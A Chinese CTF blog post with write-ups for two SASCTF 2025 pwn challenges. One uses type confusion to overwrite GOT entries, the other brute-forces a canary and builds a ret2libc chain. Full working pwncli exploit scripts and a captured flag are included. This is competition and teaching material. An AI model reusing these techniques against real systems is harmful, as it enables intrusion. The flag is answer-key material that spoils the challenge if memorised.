Sorry, your browser cannot access this site
This page requires browser support (enable) JavaScript
Learn more >

SASCTF 2025 Quals Pwn

发布于：May 27, 2025

My Type

题目描述

A girl just joined our public channel. She’s quite into the crypto as I can see, very nice. Wonder if we are compatible with each other or not…

题目功能

允许多次创建 struct sign 并修改第二个 union{} ，然后会对 sign 结构体按类型检查，检查过以后更新 score 。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
struct sign
{
  int type;
  union
  {
    __int64 nft;
    char *compliment;
  };
};

struct partner
{
  int score;
  __int64 mood;
};

漏洞点

存在类型混淆漏洞，

edit_nft 设置32位的指针

edit_compliment 修改指针处256字节的内存

原语：任意32位地址写256字节

利用思路

先改got strlen为printf泄露libc

然后改got strlen为system

最后system(”/bin/sh”)

flag: SAS{y0u_GOT_y0ur_typ3_f0r_r341}

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
#!/usr/bin/env python

from pwncli import *

filename = "chall.elf_patched"
libcname = "/home/botdebug/.config/cpwn/pkgs/2.40-1ubuntu3/amd64/libc6_2.40-1ubuntu3_amd64/usr/lib/x86_64-linux-gnu/libc.so.6"
host = "tcp.sasc.tf"
port = 13953
elf = context.binary = ELF(filename)
context.terminal = ["tmux", "neww"]
context.log_level = "debug"
if libcname:
    libc = ELF(libcname)
gs = """
b *0x0004014FE
set debug-file-directory /home/botdebug/.config/cpwn/pkgs/2.40-1ubuntu3/amd64/libc6-dbg_2.40-1ubuntu3_amd64/usr/lib/debug
set directories /home/botdebug/.config/cpwn/pkgs/2.40-1ubuntu3/amd64/glibc-source_2.40-1ubuntu3_all/usr/src/glibc/glibc-2.40
"""


def start():
    if args.GDB:
        return gdb.debug(elf.path, gdbscript=gs)
    elif args.REMOTE:
        return remote(host, port)
    else:
        return process(elf.path)


p = start()


def leak_address():
    if context.arch == "i386":
        return u32(p.recv(4))
    else:
        return u64(p.recv(6).ljust(8, b"\x00"))


def leak_address2(timeout=0.1):
    contains = b"\x7f" if context.bits == 64 else b"\xf7"
    m = p.recvuntil(contains, timeout=timeout)
    if contains not in m:
        raise RuntimeError("Cannot get libc addr")
    if context.bits == 32:
        return u32(m[-4:])
    else:
        return u64(m[-6:].ljust(8, b"\x00"))


def dbg():
    if args.AT:
        gdb.attach(p, gs)
    pause()


s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rl = lambda x: p.recvline(x)
ia = lambda: p.interactive()
op32 = make_packer(32, endian="big", sign="unsigned")  # opposite p32
op64 = make_packer(64, endian="big", sign="unsigned")  # opposite p64

# Your exploit here


def create_nft(val):
    ru(b"Enter your choice (n/c): ")
    sl(b"n")
    ru("the NFT: ")
    sl(str(val))


def create_comp(val):
    ru(b"Enter your choice (n/c): ")
    sl(b"c")
    ru("(max 256 chars): ")
    sl(val)


def edit_nft(val):
    ru("Enter your choice (n/c/p): ")
    sl(b"n")
    ru("the NFT: ")
    sl(str(val))


def edit_comp(val):
    ru("Enter your choice (n/c/p): ")
    sl(b"c")
    ru("(max 256 chars): ")
    sl(val)


def play_sign():
    ru("Enter your choice (n/c/p): ")
    sl(b"p")


def exp():
    create_comp(b"BBB")
    edit_nft(elf.got["strlen"])
    edit_comp(p64(elf.plt["printf"]))
    play_sign()

    create_comp(b"%27$p")
    play_sign()
    ru(b"\n")
    libc_base = int(p.recvuntil(b"\n", True), 16) - 0x2A3B8
    leak_ex2(libc_base)
    libc.address = libc_base


    create_comp(b"BBB")
    edit_nft(elf.got["strlen"])
    edit_comp(p64(libc.sym['system']))
    play_sign()

    create_comp(b"/bin/sh\x00")
    play_sign()
    ia()


exp()

Mickey 1337

题目描述

You are a space worker from a human colony on a harsh planet. In order to survive, you can create copies of yourself to perform dangerous work, but the fate of the copies is usually sad. Try to make the most of it.

题目功能

主线程无限fork子进程，子进程中输入信息后结束子进程。无泄露地址功能。

漏洞点

无pie，栈溢出但有canary，允许无限fork。

利用思路

由于fork的子进程canary相同，one-by-one 爆破 Canary

然后通过leave控制rbp，利用以下gadget实现泄露任意地址原语，泄露libc地址

1
2
3
.text:00000000004012D4                 mov     rax, [rbp-8]
.text:00000000004012D8                 mov     rdi, rax        ; s
.text:00000000004012DB                 call    _puts

最后ret2libc

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
#!/usr/bin/env python

from pwncli import *

filename = "chall.elf_patched"
libcname = "./libc.so.6"
host = "tcp.sasc.tf"
port = 10080
elf = context.binary = ELF(filename)
context.terminal = ["tmux", "neww"]
context.log_level = "debug"
if libcname:
    libc = ELF(libcname)
gs = """
b main
b *0x0004012DB
set debug-file-directory /home/botdebug/.config/cpwn/pkgs/2.40-1ubuntu3/amd64/libc6-dbg_2.40-1ubuntu3_amd64/usr/lib/debug
set directories /home/botdebug/.config/cpwn/pkgs/2.40-1ubuntu3/amd64/glibc-source_2.40-1ubuntu3_all/usr/src/glibc/glibc-2.40
"""


def start():
    if args.GDB:
        return gdb.debug(elf.path, gdbscript=gs)
    elif args.REMOTE:
        return remote(host, port)
    else:
        return process(elf.path)


p = start()


def leak_address():
    if context.arch == "i386":
        return u32(p.recv(4))
    else:
        return u64(p.recv(6).ljust(8, b"\x00"))


def leak_address2(timeout=0.1):
    contains = b"\x7f" if context.bits == 64 else b"\xf7"
    m = p.recvuntil(contains, timeout=timeout)
    if contains not in m:
        raise RuntimeError("Cannot get libc addr")
    if context.bits == 32:
        return u32(m[-4:])
    else:
        return u64(m[-6:].ljust(8, b"\x00"))


def dbg():
    if args.AT:
        gdb.attach(p, gs)
    pause()


s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rl = lambda x: p.recvline(x)
ia = lambda: p.interactive()
op32 = make_packer(32, endian="big", sign="unsigned")  # opposite p32
op64 = make_packer(64, endian="big", sign="unsigned")  # opposite p64

# Your exploit here

def send_child(msg):
    ru(b'[Mickey-')
    sl(b'1')
    ru(b'[Mickey-')
    child = int(p.recvuntil(b']: ', True))
    # leak_ex2(child)
    s(msg)

def send_child2(msg):
    ru(b'[Mickey-')
    sl(b'1')
    pause()
    ru(b'[Mickey-')
    child = int(p.recvuntil(b']: ', True))
    # leak_ex2(child)
    s(msg)

# gift['elf'] = elf
# CG.set_find_area(True,True,False)

def exp():

    canary = '\x00'
    for i in range(7):
        for i in range(256):
            send_child('a'*0x18 + canary + chr(i))
            a = p.recvuntil(b'\n')
            if not b"lost" in a:
                canary += chr(i)
                break

    print(f"canary: {canary}")

    ru(b'yourself')
    # dbg()
    payload = flat('a'*0x18, canary, 0x400778+8, 0x004012D4)
    send_child2(payload)
    libc_base = leak_address() - 0x8ce80
    leak_ex2(libc_base)
    libc.address = libc_base

    pop_rdi_addr = libc_base + 0x11903c
    pop_rsi_addr = libc_base + 0x11a3fd
    pop_rdx_addr = libc_base + 0x67e22
    pop_rax_addr = libc_base + 0x84dff
    syscall_addr = libc_base + 0x9e276
    gadget_addr = libc_base + 0x9d9c5 #mov rdx, qword ptr [rdi + 8]; mov rax, qword ptr [rdi]; mov rdi, rdx; jmp rax;
    free_hook_addr = libc_base + 0x218148
    malloc_hook_addr = libc_base + 0x218140
    system_addr = libc_base + 0x5af30
    bin_sh_addr = libc_base + 0x1d944a
    setcontext_addr = libc_base + 0x4ae10

    payload = flat('a'*0x18, canary, 0, pop_rdi_addr+1,  pop_rdi_addr, bin_sh_addr, libc.sym['system'])
    send_child2(payload)

    ia()


exp()

本页文档最后更新于：May 30, 2025

bruteforce canary

type confusion

评论




本站总访问量为 次 访客数为 人

Copyright © 2025 St4ckC00ki3